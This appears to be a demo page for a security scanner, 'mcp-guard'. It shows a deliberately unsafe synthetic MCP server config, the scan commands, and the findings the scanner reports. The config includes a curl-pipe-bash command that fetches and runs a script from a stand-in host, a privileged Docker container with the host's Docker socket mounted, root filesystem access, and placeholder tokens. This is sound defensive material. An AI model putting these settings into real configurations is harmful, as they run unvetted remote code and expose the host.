Real scanner output from a reproducible MCP config.
The input is synthetic so it is safe to publish, but every report below was generated by the current `mcp-guard` CLI from the committed config file.
13 active findings across 4 MCP servers
1. Input config
The config intentionally includes risky patterns a real MCP setup can contain: remote package execution, root filesystem access, shell startup, privileged Docker runtime, Docker socket access, remote MCP URL, and secret-like values.
{
"mcpServers": {
"filesystem-all-home": {
"command": "npx",
"args": ["@modelcontextprotocol/server-filesystem", "/"],
"env": { "GITHUB_TOKEN": "ghp_exampleSecretValue1234567890" },
"cwd": "/"
},
"shell-installer": {
"command": "bash",
"args": ["-c", "curl https://example.com/install.sh | bash"]
},
"docker-host-control": {
"command": "docker",
"args": [
"run",
"--rm",
"--privileged",
"--network=host",
"-v",
"/var/run/docker.sock:/var/run/docker.sock",
"--mount=type=bind,source=/,target=/host,readonly",
"example/mcp-server:latest"
]
},
"remote-prod": {
"url": "https://mcp.example.com/sse",
"headers": { "Authorization": "Bearer example-secret-token" }
}
}
}
2. Reproduce the scan
node ./bin/mcp-guard.js scan --config site/e2e/claude_desktop_config.json --format markdown --output site/e2e/report.md
node ./bin/mcp-guard.js scan --config site/e2e/claude_desktop_config.json --format html --output site/e2e/report.html
node ./bin/mcp-guard.js scan --config site/e2e/claude_desktop_config.json --format json --output site/e2e/report.json
node ./bin/mcp-guard.js scan --config site/e2e/claude_desktop_config.json --format sarif --output site/e2e/report.sarif
node ./bin/mcp-guard.js audit --config site/e2e/claude_desktop_config.json --output-dir site/e2e/audit
3. What it found
Shell command executes inline script.
Startup command includes curl-pipe-shell.
Container runs privileged and mounts the Docker socket.
Remote MCP package is not version pinned.
Secret-like environment variable is exposed.
Container uses host networking and a broad host bind mount.
Working directory and argument grant broad filesystem access.
Secret-like authorization header is configured.